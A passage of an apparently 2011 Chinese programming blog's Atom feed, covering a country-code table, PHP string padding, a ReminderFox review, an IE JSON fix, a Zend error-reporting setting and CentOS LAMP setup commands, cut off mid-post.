&lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'東加'&lt;/td&gt;  &lt;/tr&gt;&lt;tr height="22" style="height: 16.5pt;"&gt;   &lt;td height="22" style="height: 16.5pt;"&gt;'TP'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'East Timor'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'東帝'&lt;/td&gt;  &lt;/tr&gt;&lt;tr height="22" style="height: 16.5pt;"&gt;   &lt;td height="22" style="height: 16.5pt;"&gt;'TR'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'Turkey'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'土耳其'&lt;/td&gt;  &lt;/tr&gt;&lt;tr height="22" style="height: 16.5pt;"&gt;   &lt;td height="22" style="height: 16.5pt;"&gt;'TT'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'Trinidad &amp;amp; Tobago'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'特立尼達和多巴哥'&lt;/td&gt;  &lt;/tr&gt;&lt;tr height="22" style="height: 16.5pt;"&gt;   &lt;td height="22" style="height: 16.5pt;"&gt;'TV'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'Tuvalu'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'圖瓦盧'&lt;/td&gt;  &lt;/tr&gt;&lt;tr height="22" style="height: 16.5pt;"&gt;   &lt;td height="22" style="height: 16.5pt;"&gt;'TW'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'Taiwan'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'台灣'&lt;/td&gt;  &lt;/tr&gt;&lt;tr height="22" style="height: 16.5pt;"&gt;   &lt;td height="22" style="height: 16.5pt;"&gt;'TZ'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'Tanzania'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'坦桑尼亞聯合共和國'&lt;/td&gt;  &lt;/tr&gt;&lt;tr height="22" style="height: 16.5pt;"&gt;   &lt;td height="22" style="height: 16.5pt;"&gt;'UA'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'Ukraine'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'烏克蘭'&lt;/td&gt;  &lt;/tr&gt;&lt;tr height="22" style="height: 16.5pt;"&gt;   &lt;td height="22" style="height: 16.5pt;"&gt;'UG'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'Uganda'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'烏干達'&lt;/td&gt;  &lt;/tr&gt;&lt;tr height="22" style="height: 16.5pt;"&gt;   &lt;td height="22" style="height: 16.5pt;"&gt;'UM'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'United States Minor   Outlying Islands'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'美國本土外小島嶼'&lt;/td&gt;  &lt;/tr&gt;&lt;tr height="22" style="height: 16.5pt;"&gt;   &lt;td height="22" style="height: 16.5pt;"&gt;'US'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'United States of America'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'美國'&lt;/td&gt;  &lt;/tr&gt;&lt;tr height="22" style="height: 16.5pt;"&gt;   &lt;td height="22" style="height: 16.5pt;"&gt;'UY'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'Uruguay'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'烏拉圭'&lt;/td&gt;  &lt;/tr&gt;&lt;tr height="22" style="height: 16.5pt;"&gt;   &lt;td height="22" style="height: 16.5pt;"&gt;'UZ'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'Uzbekistan'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'烏茲別克斯坦'&lt;/td&gt;  &lt;/tr&gt;&lt;tr height="22" style="height: 16.5pt;"&gt;   &lt;td height="22" style="height: 16.5pt;"&gt;'VA'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'Vatican'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'梵蒂岡'&lt;/td&gt;  &lt;/tr&gt;&lt;tr height="22" style="height: 16.5pt;"&gt;   &lt;td height="22" style="height: 16.5pt;"&gt;'VC'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'St. Vincent &amp;amp; the   Grenadines'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'聖文森特和格林納丁斯'&lt;/td&gt;  &lt;/tr&gt;&lt;tr height="22" style="height: 16.5pt;"&gt;   &lt;td height="22" style="height: 16.5pt;"&gt;'VE'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'Venezuela'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'委內瑞拉'&lt;/td&gt;  &lt;/tr&gt;&lt;tr height="22" style="height: 16.5pt;"&gt;   &lt;td height="22" style="height: 16.5pt;"&gt;'VG'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'British Virgin Islands'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'英屬維爾京群島'&lt;/td&gt;  &lt;/tr&gt;&lt;tr height="22" style="height: 16.5pt;"&gt;   &lt;td height="22" style="height: 16.5pt;"&gt;'VI'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'United States Virgin Islands'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'美屬維爾京群島'&lt;/td&gt;  &lt;/tr&gt;&lt;tr height="22" style="height: 16.5pt;"&gt;   &lt;td height="22" style="height: 16.5pt;"&gt;'VN'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'Viet Nam'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'越南'&lt;/td&gt;  &lt;/tr&gt;&lt;tr height="22" style="height: 16.5pt;"&gt;   &lt;td height="22" style="height: 16.5pt;"&gt;'VU'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'Vanuatu'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'瓦努阿圖'&lt;/td&gt;  &lt;/tr&gt;&lt;tr height="22" style="height: 16.5pt;"&gt;   &lt;td height="22" style="height: 16.5pt;"&gt;'WF'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'Wallis &amp;amp; Futuna Islands'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'瓦利斯群島和富圖納群島'&lt;/td&gt;  &lt;/tr&gt;&lt;tr height="22" style="height: 16.5pt;"&gt;   &lt;td height="22" style="height: 16.5pt;"&gt;'WS'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'Samoa'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'薩摩亞'&lt;/td&gt;  &lt;/tr&gt;&lt;tr height="22" style="height: 16.5pt;"&gt;   &lt;td height="22" style="height: 16.5pt;"&gt;'YE'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'Yemen'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'葉門'&lt;/td&gt;  &lt;/tr&gt;&lt;tr height="22" style="height: 16.5pt;"&gt;   &lt;td height="22" style="height: 16.5pt;"&gt;'YT'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'Mayotte'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'馬約特'&lt;/td&gt;  &lt;/tr&gt;&lt;tr height="22" style="height: 16.5pt;"&gt;   &lt;td height="22" style="height: 16.5pt;"&gt;'YU'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'Yugoslavia'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'南斯拉夫'&lt;/td&gt;  &lt;/tr&gt;&lt;tr height="22" style="height: 16.5pt;"&gt;   &lt;td height="22" style="height: 16.5pt;"&gt;'ZA'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'South Africa'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'南非'&lt;/td&gt;  &lt;/tr&gt;&lt;tr height="22" style="height: 16.5pt;"&gt;   &lt;td height="22" style="height: 16.5pt;"&gt;'ZM'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'Zambia'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'贊比亞'&lt;/td&gt;  &lt;/tr&gt;&lt;tr height="22" style="height: 16.5pt;"&gt;   &lt;td height="22" style="height: 16.5pt;"&gt;'ZR'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'Zaire'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'扎伊爾'&lt;/td&gt;  &lt;/tr&gt;&lt;tr height="22" style="height: 16.5pt;"&gt;   &lt;td height="22" style="height: 16.5pt;"&gt;'ZW'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'Zimbabwe'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'津巴布韋'&lt;/td&gt;  &lt;/tr&gt;&lt;tr height="22" style="height: 16.5pt;"&gt;   &lt;td height="22" style="height: 16.5pt;"&gt;'ZZ'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'Unknown or unspecified   country'&lt;/td&gt;   &lt;td&gt;,&lt;/td&gt;   &lt;td&gt;'未知'&lt;/td&gt;  &lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/24036294-1317925560292109322?l=kevyu.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kevyu.blogspot.com/feeds/1317925560292109322/comments/default' title='張貼意見'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=24036294&amp;postID=1317925560292109322' title='0 個意見'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/24036294/posts/default/1317925560292109322'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/24036294/posts/default/1317925560292109322'/><link rel='alternate' type='text/html' href='http://kevyu.blogspot.com/2011/03/blog-post_08.html' title='國家代碼、中文名稱、英文名稱'/><author><name>kevyu</name><uri>http://www.blogger.com/profile/00231284922411887546</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://2.bp.blogspot.com/_tTSUnirsVco/S24nTyH-VtI/AAAAAAAAE-s/0mIvsLzNnnc/S220/pic.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-24036294.post-7980362963872284076</id><published>2011-03-04T17:25:00.005+08:00</published><updated>2011-03-04T17:31:34.239+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='PHP'/><title type='text'>補齊固定字串長度</title><content type='html'>string &lt;a href="http://php.net/manual/en/function.str-pad.php"&gt;str_pad&lt;/a&gt;( string $input , int $pad_length [, string $pad_string = " " [, int $pad_type = STR_PAD_RIGHT ]] )&lt;br /&gt;&lt;br /&gt;&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;&lt;code&gt;&lt;span style="color: black;"&gt;&lt;span style="color: #0000bb;"&gt;$input&amp;nbsp;&lt;/span&gt;&lt;span style="color: #007700;"&gt;=&amp;nbsp;&lt;/span&gt;&lt;span style="color: #dd0000;"&gt;"Alien"&lt;/span&gt;&lt;span style="color: #007700;"&gt;;&lt;br /&gt;echo&amp;nbsp;&lt;/span&gt;&lt;span style="color: #0000bb;"&gt;str_pad&lt;/span&gt;&lt;span style="color: #007700;"&gt;(&lt;/span&gt;&lt;span style="color: #0000bb;"&gt;$input&lt;/span&gt;&lt;span style="color: #007700;"&gt;,&amp;nbsp;&lt;/span&gt;&lt;span style="color: #0000bb;"&gt;10&lt;/span&gt;&lt;span style="color: #ff8000;"&gt;&lt;span style="background-color: white; color: #93c47d;"&gt;);&lt;/span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; //&amp;nbsp;produces&amp;nbsp;"Alien&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;"&lt;/span&gt;&lt;span style="color: #007700;"&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span style="color: #007700;"&gt;&lt;br /&gt;echo&amp;nbsp;&lt;/span&gt;&lt;span style="color: #0000bb;"&gt;str_pad&lt;/span&gt;&lt;span style="color: #007700;"&gt;(&lt;/span&gt;&lt;span style="color: #0000bb;"&gt;$input&lt;/span&gt;&lt;span style="color: #007700;"&gt;,&amp;nbsp;&lt;/span&gt;&lt;span style="color: #0000bb;"&gt;10&lt;/span&gt;&lt;span style="color: #007700;"&gt;,&amp;nbsp;&lt;/span&gt;&lt;span style="color: #dd0000;"&gt;"-="&lt;/span&gt;&lt;span style="color: #007700;"&gt;,&amp;nbsp;&lt;/span&gt;&lt;span style="color: #0000bb;"&gt;STR_PAD_LEFT&lt;/span&gt;&lt;span style="color: #007700;"&gt;);&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color: #ff8000;"&gt;//&amp;nbsp;produces&amp;nbsp;"-=-=-Alien"&lt;/span&gt;&lt;br /&gt;&lt;span style="color: black;"&gt;&lt;span style="color: #007700;"&gt;echo&amp;nbsp;&lt;/span&gt;&lt;span style="color: #0000bb;"&gt;str_pad&lt;/span&gt;&lt;span style="color: #007700;"&gt;(&lt;/span&gt;&lt;span style="color: #0000bb;"&gt;$input&lt;/span&gt;&lt;span style="color: #007700;"&gt;,&amp;nbsp;&lt;/span&gt;&lt;span style="color: #0000bb;"&gt;10&lt;/span&gt;&lt;span style="color: #007700;"&gt;,&amp;nbsp;&lt;/span&gt;&lt;span style="color: #dd0000;"&gt;"_"&lt;/span&gt;&lt;span style="color: #007700;"&gt;,&amp;nbsp;&lt;/span&gt;&lt;span style="color: #0000bb;"&gt;STR_PAD_BOTH&lt;/span&gt;&lt;span style="color: #007700;"&gt;);&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color: #ff8000;"&gt;//&amp;nbsp;produces&amp;nbsp;"__Alien___"&lt;/span&gt;&lt;span style="color: #007700;"&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span style="color: black;"&gt;&lt;span style="color: #007700;"&gt;&lt;br /&gt;echo&amp;nbsp;&lt;/span&gt;&lt;span style="color: #0000bb;"&gt;str_pad&lt;/span&gt;&lt;span style="color: #007700;"&gt;(&lt;/span&gt;&lt;span style="color: #0000bb;"&gt;$input&lt;/span&gt;&lt;span style="color: #007700;"&gt;,&amp;nbsp;&lt;/span&gt;&lt;span style="color: #0000bb;"&gt;6&amp;nbsp;&lt;/span&gt;&lt;span style="color: #007700;"&gt;,&amp;nbsp;&lt;/span&gt;&lt;span style="color: #dd0000;"&gt;"___"&lt;/span&gt;&lt;span style="color: #007700;"&gt;);&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color: #ff8000;"&gt;//&amp;nbsp;produces&amp;nbsp;"Alien_"&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;UTF8問題&lt;br /&gt;&lt;code&gt;function mb_str_pad($input, $pad_length, $pad_string=' ', $pad_type=STR_PAD_RIGHT) {&lt;br /&gt;&amp;nbsp;&amp;nbsp; $diff = strlen($input) - mb_strlen($input, 'UTF-8');&lt;br /&gt;&amp;nbsp;&amp;nbsp; return str_pad($input, $pad_length+$diff, $pad_string, $pad_type);&lt;br /&gt;}&lt;/code&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/24036294-7980362963872284076?l=kevyu.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kevyu.blogspot.com/feeds/7980362963872284076/comments/default' title='張貼意見'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=24036294&amp;postID=7980362963872284076' title='0 個意見'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/24036294/posts/default/7980362963872284076'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/24036294/posts/default/7980362963872284076'/><link rel='alternate' type='text/html' href='http://kevyu.blogspot.com/2011/03/blog-post.html' title='補齊固定字串長度'/><author><name>kevyu</name><uri>http://www.blogger.com/profile/00231284922411887546</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://2.bp.blogspot.com/_tTSUnirsVco/S24nTyH-VtI/AAAAAAAAE-s/0mIvsLzNnnc/S220/pic.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-24036294.post-4143037668104303623</id><published>2011-02-25T10:07:00.008+08:00</published><updated>2011-03-24T10:31:08.040+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='browser'/><title type='text'>ReminderFox</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;一直覺得沒有用的很順手的行事曆軟體&lt;br /&gt;本來利用google calendar 但也是要開網頁連到calendar&lt;br /&gt;後來有igoole，雖然把calendar widget加到首頁 &lt;br /&gt;不過還是看的不太順，記的事情也比較繁瑣&lt;br /&gt;&lt;br /&gt;後來看到Firefox的plugin "ReminderFox"&lt;br /&gt;如作者在How to影片中提到的 作者也覺得一般的行事曆太繁雜&lt;br /&gt;只是想要簡單的提醒而已 所以作者自己做ReminderFox&lt;br /&gt;雖然說簡單，不過常用的設定做的還不錯 &lt;br /&gt;像是週期性的重覆提醒，個人就覺得挺不錯的&lt;br /&gt;&lt;br /&gt;而且每天都一定會上網，firefox一開，旁邊就跳出提醒&lt;br /&gt;覺得這個plugin還挺不錯的 拍拍手&lt;br /&gt;我一定要把他推上Firefox Plugin Top 15&lt;br /&gt;&lt;br /&gt;&lt;ul style="text-align: left;"&gt;&lt;li&gt;Features&lt;br /&gt;&lt;ul style="text-align: left;"&gt;&lt;li&gt;重要日期、待辦事項&lt;/li&gt;&lt;li&gt;每週、每月、每年的重要日期&lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;&lt;li&gt;安裝&lt;br /&gt;firefox安裝plugin應該沒什麼好教的咧...&lt;br /&gt;&lt;a href="http://www.reminderfox.org/documentation-install/"&gt;Install ReminderFox&lt;/a&gt;&lt;br /&gt;&lt;/li&gt;&lt;li&gt;&lt;b&gt;同步化問題&lt;/b&gt;&lt;/li&gt;reminderFox儲存行事曆的格式為.ics  因此需要一個空間放.ics  讓不同的電腦的firefox讀取相同的檔案 即可達到同步化的效果 目前是用&lt;a href="http://www.icalx.com/"&gt;iCal Exchange&lt;/a&gt; 還不錯 建立帳號後，就將個人網址貼給reminderFox (ex: http://icalx.com/private/{個人帳號}/) &lt;div class="separator" style="clear: both;"&gt;&lt;a href="http://3.bp.blogspot.com/-PTDxuUwwfYc/TYqqTobETbI/AAAAAAAAFRw/jwpiilcyhXA/s1600/reminder.JPG" imageanchor="1"&gt;&lt;img border="0" src="http://3.bp.blogspot.com/-PTDxuUwwfYc/TYqqTobETbI/AAAAAAAAFRw/jwpiilcyhXA/s200/reminder.JPG" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;/ul&gt;&lt;br /&gt;References&lt;br /&gt;&lt;ul style="text-align: left;"&gt;&lt;li&gt;&lt;a href="http://www.reminderfox.org/"&gt;reminderFox 官網&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://www.inote.tw/2008/07/fxtb-reminderfox.html"&gt;[Fx+Tb] ReminderFox ~ 記下過去與未來！&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/24036294-4143037668104303623?l=kevyu.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kevyu.blogspot.com/feeds/4143037668104303623/comments/default' title='張貼意見'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=24036294&amp;postID=4143037668104303623' title='1 個意見'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/24036294/posts/default/4143037668104303623'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/24036294/posts/default/4143037668104303623'/><link rel='alternate' type='text/html' href='http://kevyu.blogspot.com/2011/02/reminderfox.html' title='ReminderFox'/><author><name>kevyu</name><uri>http://www.blogger.com/profile/00231284922411887546</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://2.bp.blogspot.com/_tTSUnirsVco/S24nTyH-VtI/AAAAAAAAE-s/0mIvsLzNnnc/S220/pic.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/-PTDxuUwwfYc/TYqqTobETbI/AAAAAAAAFRw/jwpiilcyhXA/s72-c/reminder.JPG' height='72' width='72'/><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-24036294.post-2452380395062410903</id><published>2011-02-17T11:16:00.001+08:00</published><updated>2011-02-17T11:17:14.009+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Javascript'/><title type='text'>'JSON' 未被定義</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;因為eval有安全性的問題&lt;br /&gt;所以改用JSON來parse&lt;br /&gt;沒想到居然發生&lt;span style="background-color: white; color: red;"&gt;'JSON' 未被定義&lt;/span&gt;的情況&lt;br /&gt;上網查了一下，主要作法如下: (需要另外下載&lt;a href="https://github.com/douglascrockford/JSON-js"&gt;json2.js&lt;/a&gt;)&lt;br /&gt;&lt;code&gt; if (typeof (JSON) == 'undefined') { //沒有 JSON 時才讓 browser 下載 json2.js&lt;br /&gt;$('head').append($("&amp;lt;script type='text/javascript' src='json2.js'&amp;gt;"));&lt;br /&gt;}&lt;br /&gt;//這樣就可以放心用JSON物件了&lt;br /&gt;var strJson = "{\"ID\":1,\"Name\":\"Kelp\"}";&lt;br /&gt;var json = JSON.parse(strJson);&lt;br /&gt;&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;另外因為只接受雙引號,所以自己要轉一下&lt;br /&gt;&lt;code&gt;jsString.replaceAll("'", "\"");&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Reference&lt;br /&gt;&lt;a href="http://kelp.phate.org/2011/01/ie-json.html"&gt;IE 說「'JSON' 未被定義」!? &lt;/a&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/24036294-2452380395062410903?l=kevyu.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kevyu.blogspot.com/feeds/2452380395062410903/comments/default' title='張貼意見'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=24036294&amp;postID=2452380395062410903' title='0 個意見'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/24036294/posts/default/2452380395062410903'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/24036294/posts/default/2452380395062410903'/><link rel='alternate' type='text/html' href='http://kevyu.blogspot.com/2011/02/json.html' title='&apos;JSON&apos; 未被定義'/><author><name>kevyu</name><uri>http://www.blogger.com/profile/00231284922411887546</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://2.bp.blogspot.com/_tTSUnirsVco/S24nTyH-VtI/AAAAAAAAE-s/0mIvsLzNnnc/S220/pic.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-24036294.post-5827295212847328551</id><published>2011-01-21T09:35:00.000+08:00</published><updated>2011-01-21T09:35:25.585+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Zend'/><title type='text'>Zend沒有report error</title><content type='html'>最近多建了一個測試環境要讓同事測試&lt;br /&gt;但不知少做了什麼，或多做了什麼&lt;br /&gt;發現Zend居然都沒有回報錯誤&lt;br /&gt;但純test.php是有回錯誤訊的改了php.ini裡的display_error也沒用&lt;br /&gt;要google這問題 還真是不知怎麼下keyword&lt;br /&gt;怎麼下都不是我要的答案&lt;br /&gt;&lt;br /&gt;用了好久，才發現原來是在http.conf設定檔裡&lt;br /&gt;少給了以下這行&lt;br /&gt;&lt;code&gt;SetEnv APPLICATION_ENV "development"&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;不知道為何這行會影響&lt;br /&gt;先記下來&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/24036294-5827295212847328551?l=kevyu.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kevyu.blogspot.com/feeds/5827295212847328551/comments/default' title='張貼意見'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=24036294&amp;postID=5827295212847328551' title='0 個意見'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/24036294/posts/default/5827295212847328551'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/24036294/posts/default/5827295212847328551'/><link rel='alternate' type='text/html' href='http://kevyu.blogspot.com/2011/01/zendreport-error.html' title='Zend沒有report error'/><author><name>kevyu</name><uri>http://www.blogger.com/profile/00231284922411887546</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://2.bp.blogspot.com/_tTSUnirsVco/S24nTyH-VtI/AAAAAAAAE-s/0mIvsLzNnnc/S220/pic.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-24036294.post-4342769346474618675</id><published>2011-01-20T17:39:00.008+08:00</published><updated>2011-08-01T16:20:57.887+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Linux'/><title type='text'>install lamp</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;centOS&lt;br /&gt;&lt;br /&gt;&lt;ul style="text-align: left;"&gt;&lt;li&gt;LAMP&lt;br /&gt;&lt;ul style="text-align: left;"&gt;&lt;li&gt;httpd&lt;/li&gt;&lt;li&gt;mysql&lt;/li&gt;&lt;li&gt;mysql-server&lt;/li&gt;&lt;li&gt;php&lt;/li&gt;&lt;li&gt;php-devel &lt;/li&gt;&lt;li&gt;php-mysql &lt;/li&gt;&lt;/ul&gt;&lt;code&gt;yum install httpd mysql-server php php-devel php-mysql&lt;/code&gt;&lt;/li&gt;&lt;ol&gt;&lt;li&gt; 啟動apache&amp;nbsp;&amp;nbsp;&lt;/li&gt;&lt;li&gt;mysql設定 &lt;br /&gt;&lt;ul&gt;&lt;li&gt; 啟動mysql&lt;br /&gt;&lt;div class="console"&gt;[root@www ~]# /etc/init.d/mysqld start &lt;br /&gt;&lt;br /&gt;[root@www ~]# chkconfig mysqld on  &lt;br /&gt;&lt;br /&gt;# 如果是初次啟動，螢幕會顯示一些訊息且 /var/lib/mysql 會建立資料庫。 &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[root@www ~]# netstat -tulnp | grep 'mysql'  &lt;br /&gt;&lt;br /&gt;Proto Recv-Q Send-Q Local Address  Foreign Address   State   PID/Program name tcp        0      0 0.0.0.0:3306   0.0.0.0:*         LISTEN  2692/mysqld  &lt;br /&gt;&lt;br /&gt;# 底下在測試看能否以手動的方式連上 MySQL 資料庫！ &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[root@www ~]# mysql -u root &lt;br /&gt;&lt;br /&gt;Welcome to the MySQL monitor.  Commands end with ; or \g. Your MySQL connection id is 2  Server version: 5.0.77 Source distribution Type 'help;' or '\h' for help. Type '\c' to clear the buffer.   &lt;br /&gt;&lt;br /&gt;mysql&amp;gt; exit  &lt;br /&gt;&lt;br /&gt;Bye&lt;/div&gt;&lt;/li&gt;&lt;li&gt; 設定root及密碼&lt;br /&gt;&lt;div class="console"&gt;[root@www ~]# mysqladmin -u root password 'your.password' &lt;br 